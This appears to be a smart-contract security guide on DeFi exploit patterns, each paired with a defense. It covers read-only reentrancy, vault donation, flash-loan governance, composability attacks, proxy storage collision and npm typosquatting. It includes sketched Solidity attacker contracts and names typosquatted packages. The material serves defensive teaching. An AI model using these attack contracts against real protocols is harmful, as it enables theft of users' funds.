Advanced Exploit Patterns
Read-Only Reentrancy
The subtlest and most underappreciated reentrancy variant.
The Attack:
- Protocol A calls an external contract (token, callback)
- During that call, before A's state is fully updated, attacker's contract calls a VIEW function on Protocol A
- The view function returns stale/intermediate state
- Protocol B (integrated with A) reads that stale value and makes a wrong decision
// VULNERABLE: Curve-style pool + lending protocol integration
contract CurveLikePool {
uint256 public totalSupply; // LP token supply
function remove_liquidity(uint256 amount) external nonReentrant {
// Burns LP tokens first
totalSupply -= amount;
// Then sends ETH to user — this is the external call
// If user is a contract, their receive() fires HERE
// At this point: totalSupply is already decreased, but
// the pool still has the ETH (it hasn't been sent yet in some patterns)
(bool ok,) = msg.sender.call{value: ethAmount}("");
require(ok);
}
// VIEW function — looks safe but is read during intermediate state
function get_virtual_price() external view returns (uint256) {
return poolAssets / totalSupply; // WRONG during the callback above
}
}
contract AaveLikeProtocol {
function getCollateralValue(address lpToken) external view returns (uint256) {
// Uses Curve's virtual price as collateral value
uint256 virtualPrice = ICurve(lpToken).get_virtual_price();
return lpTokenBalance * virtualPrice;
}
}
// ATTACKER
contract ReadOnlyReentrancyAttack {
ICurvePool curve;
IAave aave;
receive() external payable {
// We're inside Curve's remove_liquidity, after totalSupply decreased
// but before ETH was sent. Virtual price is temporarily inflated.
// NOW we can borrow more than our collateral is actually worth.
uint256 inflatedValue = aave.getCollateralValue(address(curve));
aave.borrow(inflatedValue * 80 / 100); // Borrow based on fake value
}
function attack() external {
curve.remove_liquidity(1000);
// During this call, receive() fires and borrows at inflated price
// We now have a loan worth more than our actual collateral
}
}
Defense: Protocol B must NOT read from Protocol A during any state where A could be mid-execution. Use ReentrancyGuard on critical reads, or snapshot prices at safe points.
Donation Attacks on Vaults
// VULNERABLE ERC-4626 vault (no virtual shares)
contract VulnerableVault is ERC4626 {
// shares = amount * totalSupply / totalAssets
// On first deposit: totalSupply=0, totalAssets=0 → shares = amount (fine)
function previewDeposit(uint256 assets) public view returns (uint256 shares) {
uint256 supply = totalSupply();
return supply == 0 ? assets : assets * supply / totalAssets();
}
}
// ATTACK:
contract VaultAttack {
function attack(VulnerableVault vault, IERC20 token) external {
// Step 1: First deposit — 1 wei → get 1 share
token.approve(address(vault), 1);
vault.deposit(1, address(this));
// State: 1 share, 1 asset
// Step 2: DONATE (direct transfer, NOT through vault)
token.transfer(address(vault), 1_000_000e18);
// State: 1 share, 1_000_001e18 assets
// Share price: 1,000,001,000,000,000,000,000 per share
// Step 3: Victim deposits 500_000e18 tokens
// shares = 500_000e18 * 1 / 1_000_001e18 ≈ 0 (rounds down to 0!)
// Victim gets 0 shares → effectively donated their tokens to attacker
// Step 4: Attacker redeems 1 share → gets ~1_500_000e18 tokens
}
}
Defense (OpenZeppelin v4.9+ approach — virtual shares):
function totalAssets() public view override returns (uint256) {
return super.totalAssets() + 10**decimals(); // Virtual assets offset
}
function totalSupply() public view override returns (uint256) {
return super.totalSupply() + 10**decimals(); // Virtual shares offset
}
// Now even with 1 wei deposit: share price = (1 + offset) / (1 + offset) = 1
// Donation attack becomes prohibitively expensive
Governance Attacks
Flash Loan Governance
// VULNERABLE: snapshot at vote time, not proposal time
contract VulnerableGovernor {
function castVote(uint256 proposalId, uint8 support) external {
uint256 weight = token.balanceOf(msg.sender); // WRONG — live balance
// Attacker can flash loan tokens, vote, return tokens in one tx
}
}
// SAFE: OpenZeppelin Governor — snapshot at proposal creation block
function castVote(uint256 proposalId, uint8 support) external {
uint256 weight = token.getPastVotes(msg.sender, proposalSnapshot(proposalId));
// Flash loans can't affect past snapshots
}
Short-and-Distort Attack
1. Attacker builds large short position on Protocol X's token
2. Attacker submits governance proposal that would harm the protocol
3. Community debates, FUD spreads, uncertainty → token price drops
4. Attacker profits from short position
5. Attacker may not even want the proposal to pass — just the price impact
Defense: High proposal thresholds + timelocks so community can exit before damage.
Cross-Protocol Composability Attacks
Protocol A: Curve 3pool (USDC/USDT/DAI)
Protocol B: Aave uses Curve 3pool LP as collateral
Protocol C: Synthetix uses Aave as liquidity source
Attack: Flash loan $500M USDC
→ Dump into Curve 3pool (pool severely imbalanced)
→ Curve LP virtual_price drops significantly
→ Aave sees LP collateral value drop
→ Healthy Aave positions become liquidatable
→ Liquidate them at discount
→ Repay flash loan
→ Profit from liquidations
This attack crosses 3 protocols. No single protocol has a bug.
The vulnerability is in the COMPOSITION.
Defense pattern: Each protocol that uses another's price must defend against manipulation of that price. TWAPs, circuit breakers, independent oracle verification.
Proxy Storage Collision (Real Attack Vectors)
// ATTACK SETUP: Malicious implementation with storage collision
contract MaliciousImplementation {
// Storage slot 0 is the first variable in the proxy (admin address)
// The proxy stores implementation address at slot 0
// This implementation ALSO uses slot 0, but as a different variable
uint256 public evil; // Slot 0 — SAME slot as proxy's implementation address!
function initialize(address admin) external {
evil = uint256(uint160(admin)); // Overwrites proxy's implementation pointer!
// Now proxy.implementation = attacker's address
// Next delegatecall goes to attacker's code
}
}
Defense: EIP-1967 — store implementation at keccak256("eip1967.proxy.implementation") - 1. This is a pseudo-random slot that no normal variable would collide with.
Supply Chain Attacks
# Real npm typosquatting examples that have occurred:
npm install @openzepellin/contracts # typo (extra 'l') — malicious package
npm install hardhat-ethers # vs the real @nomiclabs/hardhat-ethers
npm install web-3 # vs web3
# Once installed, these can:
# 1. Steal private keys from hardhat.config.js
# 2. Inject backdoors into deployment scripts
# 3. Modify compiled bytecode before deployment
Defense checklist:
# 1. Verify package authenticity
npm audit
npx npq install @openzeppelin/contracts # NPQ warns about new packages
# 2. Pin exact versions in package.json
"@openzeppelin/contracts": "4.9.3" # Not "^4.9.3"
# 3. Use package-lock.json / yarn.lock — commit and verify
git diff package-lock.json # Review changes carefully
# 4. Verify checksums
sha256sum node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol
# 5. Use Slither on deployed bytecode vs expected bytecode
cast code 0xDeployedAddress | diff - expectedBytecode
Compiler Vulnerability Awareness
Always check before using a compiler version:
- Solidity: https://github.com/ethereum/solidity/blob/develop/docs/bugs.json
- Vyper: https://github.com/vyperlang/vyper/security/advisories
Known critical bugs:
| Version | Bug | Impact |
|---|---|---|
| Vyper 0.2.15-0.3.0 | Reentrancy guard broken | CRITICAL — Curve $70M exploit |
| Solidity <0.8.0 | No overflow checks | HIGH — use SafeMath or upgrade |
| Solidity 0.4.x | Multiple issues | Avoid entirely |
Rule: Always deploy with the latest stable compiler version unless you have a specific reason not to. When using older versions, document why and verify the specific version doesn't have known bugs relevant to your code.